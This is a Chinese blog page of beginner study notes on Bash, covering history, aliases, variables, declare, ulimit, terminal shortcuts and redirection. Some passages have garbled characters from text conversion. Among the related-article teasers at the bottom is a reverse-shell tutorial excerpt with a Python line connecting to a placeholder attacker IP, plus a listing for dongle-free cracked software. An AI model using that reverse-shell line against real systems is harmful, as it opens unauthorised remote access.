Bash

BASH的基本语法 最简单的例子——Hello World 首先新建一个文档,命名为hello $ gedit hello 在里面写入 #!/bin/bash # This is a very simple example echo Hello World 这样最简单的一个bash程序就写完了,这里需要说明几个问题: 第一行的#!是什么意思 第一行的/bin/bash又是什么意思 第二行是注释吗 echo是什么... 阅读详情

……………………这只是笔记

词汇补充

  • path 环境变量

由于早年的Unix年代,发展者众,所以由于shell依据发展着的不同就有了许多版本

https://zhidao.baidu.com/question/310105307.html

Shell的发展史

第一个-------------Steven Bourne -->Bourne shell ---->简称sh
第二个------------bill joy --------依附于BSD版的Unix系统中的shell-----C shell 简称Csh -------语法类似于C

CentOS是一种Linux的发行版本

http://baike.baidu.com/link?url=8R-QpCO8IqJfGxseRnLlsE6d0okkEQA4xYU5ZuUwx5OOO1nhUq40UDh35QredcWavrcyIPlS9MuvDeia8WhB4q#6_4

各种档案名

/etc etc是等等的意思,在linux中/etc文件存放配置文件
/etc/shell 虽然各家 shell 的功能都差不多,但是在某些语法的下达方面则有所不同,因此建议你还是得要选择某一种 shell 杢熟悉一下较佳。 Linux 预设就是使用 bash ,所以最初你只要学会 bash 就非常了不起了!
^_^! 另外,咦!为什么我们系统上合法的 shell 要写入 /etc/shells 这个档案啊? 这是因为系统某些
朋务在运作过程中,会去检查使用者能够使用癿的shells ,而这些 shell 的查询就是藉由 /etc/shells 这个
档案啰!

/bin bin本身不是一个文件,但是一般linux下可执行的命令都是放到bin目录下的 比如/bin或者/usr/bin等
.sh 是UNIX/LINUX 操作系统的脚本文件。

/bin/ — 用来贮存用户命令。目录 /usr/bin 也被用来贮存用户命令。
/sbin/ — 许多系统命令(例如 shutdown)的贮存位置。目录 /usr/sbin 中也包括了许多系统命令。
/root/ — 根用户(超级用户)的主目录。
/mnt/ — 该目录中通常包括系统引导后被挂载的文件系统的挂载点。譬如,默认的光盘挂载点是 /mnt/cdrom/ .
/boot/ — 包括内核和其它系统启动期间使用的文件。
/lost+found/ — 被 fsck 用来放置零散文件(没有名称的文件)。
/lib/ — 包含许多被 /bin/ 和 /sbin/ 中的程序使用的库文件。目录 /usr/lib/ 中含有更多用于用户程序的库文件。
/dev/ — 贮存设备文件。
/etc/ — 包含许多配置文件和目录。
/var/ — 用于贮存variable (或不断改变的)文件,例如日志文件和打印机假脱机文件。
/usr/ — 包括与系统用户直接有关的文件和目录,例如应用程序及支持它们的库文件。
/proc/ — 一个虚拟的文件系统(不是实际贮存在磁盘上的),它包括被某些程序使用的系统信息。
/initrd/ — 用来在计算机启动时挂载 initrd.img 映像文件的目录以及载入所需设备模块的目录。

/etc/profile文件中增加变量,该变量将会对Linux下所有用户有效,并且是“永久的”。

介绍Bash

命令编修能力(history)

这么多的指令记录在哪里呢?在你的家目录内的 .bash_history 啦! 不过,需要留意的是,
~/.bash_history 记录的是前一次登入以前所执行过的命令, 而至于这一次登入所执行的指令都被暂存
在内存中,当你成功的注销系统后,该指令记忆才会记录到 .bash_history 当中!


命令与档案补全能力:(【tab】按键的好处)

  • [Tab] 接在一串指令的第一个字的后面,则为命令补全;
  • [Tab] 接在一串指令的第二个字以后时,则为『档案补齐』!

命令别名设定功能(alias)

查看别名 alias
设定命名 alias xx= ‘xx(初始)’ ,例如 alias lm =’ls -al’


工作控制、前景背景控制—-待定


程序化脚本(shell scripts)

可以将你平时管理系统常需要下达的连续指令写成一个档案, 该档案并且可以透
过对谈交互式的方式来进行主机的侦测工作!也可以藉由 shell 提供的环境发量及相关指令来进行设计


通配符(Wiledcard)
ls -l /usr/bin/X* 列出/usr/bin下所有
以X开头的档案

Bash shell的内建命令:type—– 待定


指令的下达

指令太长 如 cp /var/spool/mail/root/ etc/crontab \
/etc/fstab/root


取用变量

  • echo $变量名
定义变量名
  • 1.myname = dskdhskld
  • 2.echo $myname
    1. 以上变量内容中如果有空格符,则使用双引号或单引号将变量内容结合起来。
      但是单引号和双引号最大不同在于双引号仍然可以保有变量的内容,双引号仍然可以保持内部符号的作用
      2.可以使用跳脱字符\ 将特殊的符号变成一般的字符—待定
      3.当内容为一个指令时候,可以用 ()或者一般先执行 ()内的内容
      比如version= (uname−r)−−−−−−ehco version —可得2.6.18-128.el5

取消变量
  • unset 变量名称

PS1——-待定 368

?:(关于上个执行指令的回传值)

echo $?
如果非0则错误。0则正确

OSTYPE, HOSTTYPE, MACHTYPE:(主机硬件不核心的等级)

export——待定 371


变量键盘读取、数组与宣告:read,array,declare

read

read [-pt] variable
-p 后面可以接提示符!
-t 后面可以接等待的秒数
variable 变量名称

declare/typeset(宣告变量的类型)

declare [-aixr] variable
-a 将后面名为variable的变量定义成为数组类型
-i 将后面名为variable的变量第一成为整数类型
-x 用法与export 一样,就是将后面vairabel变成环境变量
-r 将变量设定成为readonly类型,,该变量不可被梗概内容,也不能unset
variable 变量名称

  • 数组类型
    [root@www ~]# var[1]=”small min”
    [root@www ~]# var[2]=”big min”
    [root@www ~]# var[3]=”nice min”
    [root@www ~]# echo “ var[1], {var[2]}, ${var[3]}”
    small min, big min, nice min

与文件系统及程序的限制关系:ulimit

  • ulimit[-SHacdfltu][配额]
    -H :hard limit ,严格的限定,必定不能超过这个限定的数值;
    -S :soft limit ,警告癿讴定,可以赸过这个讴定值,但是若赸过则有警告讯
    息。
    在讴定上,通常 soft 会比 hard 小,丼例杢说,soft 可讴定为 80 而 hard
    讴定为 100,那么你可以使用刡 90 (因为没有赸过 100),但介亍 80~100
    乊间时,
    系统会有警告讯息通知你!
    -a :后面丌接任何选项不参数,可列出所有癿限刢额度;
    -c :当某些程序収生错诨时,系统可能会将该程序在内存中癿信息写成档案(除
    错用),
    这种档案就被称为核心档案(core file)。此为限刢每个核心档案癿最大容量。
    -f :此 shell 可以建立癿最大档案容量(一般可能讴定为 2GB)单位为 Kbytes
    -d :程序可使用癿最大断裂内存(segment)容量;
    -l :可用亍锁定 (lock) 癿内存量
    -t :可使用癿最大 CPU 时间 (单位为秒)
    -u :单一用户可以使用癿最大程序(process)数量。

linux下ctrl 常用组合键

http://blog.youkuaiyun.com/a_ran/article/details/38387495

    Ctrl+c 结束正在运行的程序

    Ctrl+d 结束输入或退出shell

    Ctrl+s 暂停屏幕输出【锁住终端】

    Ctrl+q 恢复屏幕输出【解锁终端】

    Ctrl+l 清屏,【是字母L的小写】等同于Clear

    Ctrl+a 切换到命令行开始

    Ctrl+e 切换到命令行末尾

    Ctrl+u 清除剪切光标之前的内容

    Ctrl+k 清除剪切光标及光标之后的内容
    Ctrl+y 在光标处粘贴剪切的内容
    Ctrl+r 查找历史命令【输入关键字,就能调出以前执行过的命令】

    Ctrl+t 调换光标所在处与其之前字符位置,并把光标移到下个字符
    Ctrl+x+u 撤销操作

    Ctrl+z 转入后台运行

history [n -c ]

history [-r -a-w] histfiles

n:数字,意思是要列出最近的n笔命令行表的意思
-c :将目前的shell 中的所有 history 内容全部消除
-a :将目前新增的 history 指令新增入 histfiles 中,若没有加 histfiles ,
则预设写入 ~/.bash_history
-r :将 histfiles 的内容读取目前这个 shell 的 history 记忆中;
-w :将目前的 history 记忆内容写入 histfiles 中!

!!执行红色那个一个命令
!n执行第n个命令 (默认存储1000条命令)

所有的Bash都有自己的1000笔记录在内存中,,等到注销时才会更新记录文件,所以注销的那个Bash才会是最后写入的数据。其实有被记录,只是被后来的最后一个Bash所覆盖更新了。


login 与 non-login shell 待定—


终端机的环境设定: stty, set

查看按键内容

stty [-a]

  • -a :将目前所有的stty参数列出来
  • 出现 ^ 表示 [Ctrl] 那个按键的意思。
  • eof : End of file 的意思,代表『结束输入』。
  • erase : 向后初除字符,
  • intr : 送出一个 interrupt (中断)的讯号给目前正在 run的程序;
  • kill : 初除在目前指令列上的所有文字; quit : 送出一个 quit的讯号给目前正在 run 的程序;
  • start : 在某个程序停止后,重新启动他的 output
  • stop : 停止目前屏幕的输出;
  • susp : 送出一个 terminal stop 的讯号给正在 run 的程序

set 待定392

[root@www ~]# set [-uvCHhmBx]
选项不参数:
-u :预设不启用。若启用后,当使用未讴定发量时,会显示错诨讯息;
-v :预设不启用。若启用后,在讯息被输出前,会先显示讯息的原始内容;
-x :预设不启用。若启用后,在挃令被执行前,会显示指令内容(前面有 ++ 符
号)
-h :预设启用。与历史命令有关;
-H :预设启用。与历史命令有关;
-m :预设启用。与工作管理有关;
-B :预设启用。与刮号[]的作用有关;
-C :预设不启用。若使用 > 等,则若档案存在时,该档案不会被覆盖。

>
将原本需要由键盘输入的数据,改由档案内容来取代
范例六:利用 ca指令来建立一个档案的简单流程
[root@www ~]# cat > catfile
testing
cat file test
<==这里按下[ctrl]+d 来离开

[root@www ~]# cat catfile
testing
cat file test
由亍加入 > 在 cat 后,所以那个 catfile 会被主劢癿建立

cat > catfile << “eof”

This is a test.
OK now stop
eof <==输入这关键词,立刻就结束而丌需要输入 [ctrl]+d
[root@www ~]# cat catfile
This is a test.
OK now stop
<==叧有这两行,不会存在关键词那一行

397—–

sudo 权限之危险的 bash 命令 命令,当前环境只开放了指定的命令,不包含 bash 命令,导致 tidb 在创建集群的时候报错了,于是,临时修改了 sudo 的权限配置,增加了 bash 命令的权限,于是乎,引发了思考,是不是给了 bash 的 sudo 权限,有这个命令权限的用户也能。愿大家都不会误删根目录,另外 tidb 你太狠了,普通用户创建完之后,直接给 tidb 用户加了所有命令的 sudo 免密配置,这真的不危险吗?家人们,这一步是在容器环境执行的,只是为了告诉大家风险有多高,别去生产玩,会去提篮桥的。模拟一下,名字不重要。 阅读详情

相关推荐

设置 windows terminal 默认打开 bash

Windows Terminal 是微软推出的一款现代化的终端应用程序,支持多种 shell,如 PowerShell、Cmd 和 Bash。对于经常需要使用 Linux 命令的开发者来说,将 Windows Terminal 默认设置为打开 Bash 可以提高工作效率。本文将介绍如何在 Windows Terminal 中设置默认打开 Bash。

加油啊,为了每一天。 1752

软RAID 0的技术概要及实现 v0.1b

原贴:http://www.linuxsir.org/main/?q=node/279软RAID 0的技术概要及实现 v0.1b (正在修订之中)作者:北南南北来自:LinuxSir.Org摘要: Software RAID 中译是软RAID ,软RAID 比如常用的有RAID 0 、RAID 1 、RAID 5、RAID 10 ;本文主要讲述RAID 0、1、5、10的基本概

最实用的Linux博客 1956

(53页PPT)新型智慧病房整体解决方案(附下载方式)

当前医疗场景存在三大核心矛盾:院内感染风险(如输液异常发现滞后)、信息孤岛现象(11类业务系统数据割裂)、管理效能不足(30%护理时间耗费在机械性工作)。实际案例显示,整体运营效率提升40%,患者满意度提高28个百分点,真正实现了"让技术有温度,让数据会说话"的价值理念。本文将从需求分析、技术架构、应用场景三个维度,深度剖析这份53页解决方案的创新价值与实践路径。床旁智能终端整合12项功能:包括体征自动采集(误差率<1%)、医嘱执行核对(100%条码校验)、智能床垫离床报警(响应时间3秒)等。

AI_data_cloud的博客 716

bash命令补全工具bash-completion

什么是shell ? 简单点理解,就是系统跟计算机硬件交互时使用的中间介质,它只是系统的一个工具。实际上,在shell和计算机硬件之间还有一层东西那就是系统内核了。 打个比方,如果把计算机硬件比作一个人的躯体,而系统内核则是人的大脑,至于shell,把它比作人的五官似乎更加贴切些。 回到计算机上来,用户直接面对的不是计算机硬件而是shell,用户把指令告诉shell,然后shell再传输给系统内核,接着内核再去支配计算机硬件去执行各种操作。 bash是 linux环境下面的命令行终端,对于命令和..

ChaITSimpleLove的博客 2万+

告别手动点鼠标:用Python脚本批量跑ADS版图仿真,效率提升10倍(附完整代码)

本文详细介绍了如何利用Python脚本自动化ADS版图仿真流程,显著提升射频工程师的工作效率。通过调用ADS底层接口,实现参数化修改、批量任务调度和结果自动收集,解决了手动操作中的常见问题,如仿真不更新等。附完整代码,帮助开发者快速实现10倍效率提升。

weixin_42523543的博客 331

基于FPGA与红外成像的眼动追踪系统设计与实现(教学向)

本文详细介绍了基于FPGA与红外成像的眼动追踪系统设计与实现。通过红外摄像头采集图像,利用FPGA进行实时图像处理和红外瞳孔追踪,结合Verilog编程实现多目标检测与瞳孔定位。该系统适用于嵌入式视觉教学,展示了硬件搭建、算法优化及实时显示的完整流程。

g5h6i7j的博客 823

使用bash-it优化你的bash环境

使用bash-it优化你的bash环境 【免费下载链接】bash-it 项目地址: https://gitcode.com/gh_mirrors/bas/bash-it 1...

gitblog_00904的博客 1055

手把手教你配置微信商户平台IP白名单:企业付款到零钱必备步骤

本文详细解析了微信商户平台IP白名单的配置原理与实操步骤,这是实现企业付款到零钱功能的关键安全环节。文章从理解IP白名单的安全逻辑出发,指导开发者精准定位服务器公网IP,并提供了在商户平台后台的详细配置流程与常见问题排查指南,帮助开发者高效完成配置,确保企业付款API的顺利调用。

weixin_29326909的博客 737

Bash 脚本学习

bin/bash# 无限循环与强制退出while true # 可使用 : 代替truedoprintf "条件true开始打印 \n"thenprintf "条件true,强制打印结束 \n"breakfidone# 有限循环与自动退出int=0while (( $int

@bangbang的博客 4124

正交试验minitab

1.创建正交试验 2.根据自己的实验选择水平数和因子数,并选定一个正交表 3.得到正交表 4.填写实验结果 5.进行正交分析 点击结果,点击分析 6.得到分析结果 7.方差分析 选择响应变量与因子,点击确定 得到方差分析的结果 ...

a999999123的博客 1万+

手把手教你用Simulink搭建DSOGI-PLL模型(附完整代码下载)

本文详细介绍了在Simulink中搭建高鲁棒性DSOGI-PLL模型的完整工程实践指南。针对传统锁相环在非理想电网下的不足,文章深入剖析了双二阶广义积分器锁相环(DSOGI-PLL)的核心原理与优势,并提供了从模块构建、系统组装到参数整定与测试验证的全流程手把手教程,附有完整代码下载,助力工程师应对谐波、电压跌落等复杂电网工况。

weixin_29223603的博客 388

Shell与Bash

shell是一个命令语言解释器,是用户和Linux内核之间的接口程序,用户在提示符下输入的每个命令都由shell先解释然后再传给Linux内核(如图)。当用户成功登入系统后shell就启动了,并始终作为你与系统内核的交互手段直至你退出系统。Bash(Bourne Again shell )是目前最常用的一种shell,也是当前大多数Linux发行版的默认Shell。除此之外还有Bourne shell (sh), C shell (csh), 和 Korn shell (ksh)等。

weixin_72517329的博客 3594

Android Camera Sensor HDR详解

本文详细介绍了Android相机传感器(Sensor)中实现高动态范围(HDR)采集的各种技术方式。主要内容包括: Sensor HDR技术分类 帧内HDR(Single-Frame HDR):在同一帧同一像素内完成多增益采集,无运动伪影和帧率损失,包括DAG(双模拟增益)、DCG(双转换增益)等技术 帧间HDR(Multi-Frame HDR):通过多帧曝光实现,如DOL(数字重叠)、Staggered HDR等 混合HDR:结合多种技术的复合方案 详细技术原理 重点解析了DAG和DCG两种主流帧内HDR

DU_YULIN的博客 360

sh与bash的区别

sh与bash的区别,POSIX模式,bash扩展

leondryu的博客 1365

秃鹰搜索优化算法(BES)详解:从自然捕食到全局优化

秃鹰搜索优化算法(Bald Eagle Search Optimization Algorithm,BES)是由马来西亚学者Alsattar等人于2020年提出的一种新型元启发式优化算法。该算法灵感来源于秃鹰在自然界中高超的捕食行为,特别是其独特的狩猎策略和卓越的视觉搜索能力,模拟了秃鹰捕食鲑鱼等猎物的完整过程。

qq_42212808的博客 1352

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

Bash 手册 - 学习和掌握 Bash 脚本编程

Bash 手册 - 学习和掌握 Bash 脚本编程 1. 项目介绍 Bash Handbook 是一个开源项目,旨在提供详细的指南来帮助初学者和开发者学习和精通 Bash shell 编程。该项目由 Denys Dovhan 创作并托管在 GitHub 上,提供了中文等多语言版本,包括基础概念、命令行操作、脚本编写技巧以及一些高级话题。无论你是 Linux 或 macOS 用户,还是想要自动化日常...

gitblog_01064的博客 1024

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Bash 脚本教程

……

u013669912的博客 1432

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

bash 脚本的执行方式

在 Bash 中,执行脚本可以通过多种方式,其中最常见的两种是使用bash直接运行脚本和使用source命令(或,即点命令)来执行。这两种方式有着根本的区别,它们对脚本的影响和脚本对环境的影响也不同。

weixin_42186805的博客 2313

Bash学习 - 第6章:Bash Features,第2节:Bash Startup Files

本文为的读书笔记。完整的笔记目录参见。

In-Memory Computing Technology 1134

Linux的循环,bash的循环

Bash 的for循环是一种非常灵活和强大的控制结构,适用于各种场景。通过理解不同的循环用法和选项,你可以编写出更强大、更高效的 Bash 脚本。# ...定义方式直接赋值:可以使用括号来定义数组,并在括号内指定数组的元素,元素之间用空格分隔。。逐个赋值:也可以逐个为数组元素赋值,通过指定索引来确定元素的位置。。动态定义:数组的大小可以根据需要动态调整,不需要事先指定固定的大小。你可以使用括号()来定义一个数组,并用空格分隔数组中的元素。# 定义一个包含字符串的数组。

kfepiza的博客 2625

Bash反弹shell

机器名称机器IP攻击机器实验靶机Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语 言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动 态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本 的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。python反弹shell介绍python2s.connect(("攻击机器IP",端口));机器名称。

qq_64177395的博客 1460

Bash语言的算法

Bash是Unix Shell的一种实现,它兼容于Bourne Shell(sh),并包含许多扩展功能。用户可以通过Bash执行命令、编写脚本,甚至进行高级编程。```bash本文介绍了Bash语言的基本算法以及如何在日常任务中使用Bash进行文件操作、函数定义和数据结构处理。虽然Bash并不是用于开发大型应用程序的最佳选择,但在系统管理、脚本自动化等方面具有显著优势。通过深入理解Bash语言的能力和限制,您可以更有效地利用其提供的工具来提升工作效率。希望本文能激励您进一步探索Bash脚本编程的广阔天地。

2501_90777154的博客 1084

深入剖析一下 Bash 的源码

我们来深入剖析一下 Bash 的源码。这是一个非常经典且有影响力的项目,理解它的内部工作原理对深入学习 Linux/Unix 系统和编程语言的实现都大有裨益。这个 GitHub 仓库 https://github.com/bminor/bash 是 Bash 的官方开发仓库,主要维护者是。

u011091936的博客 1170

【Bash脚本】如何写出高效的Loops循环

【Bash脚本】如何写出高效的Loops循环,Bash脚本如何处理循环

代码说,代码让世界更美好。 1430

模拟实现Bash

Bash的基本认识;Bash的实现;添加细节;内置命令;Bash模拟实现完整代码

m0_73372323的博客 1199

终极Bash配置文件优化指南:bash-sensible让你的命令行更智能

在日常开发和系统管理中,Bash命令行是我们不可或缺的工具。然而,默认的Bash配置往往无法满足高效工作的需求。GitHub推荐项目精选中的awesome-bash项目收录了一个名为bash-sensible的工具,它致力于提供更合理的Bash默认设置,让你的命令行体验更智能、更高效。 ## 为什么需要优化Bash配置? 默认的Bash配置可能存在一些不够完善的地方,比如缺乏必要的别名、命令历

gitblog_00842的博客 1069
上一篇: 学习linux第一步——对于vim编辑器的认识及操作
下一篇: 前端的学习1
Alpaca_h
博客等级 码龄9年 0粉丝 18原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值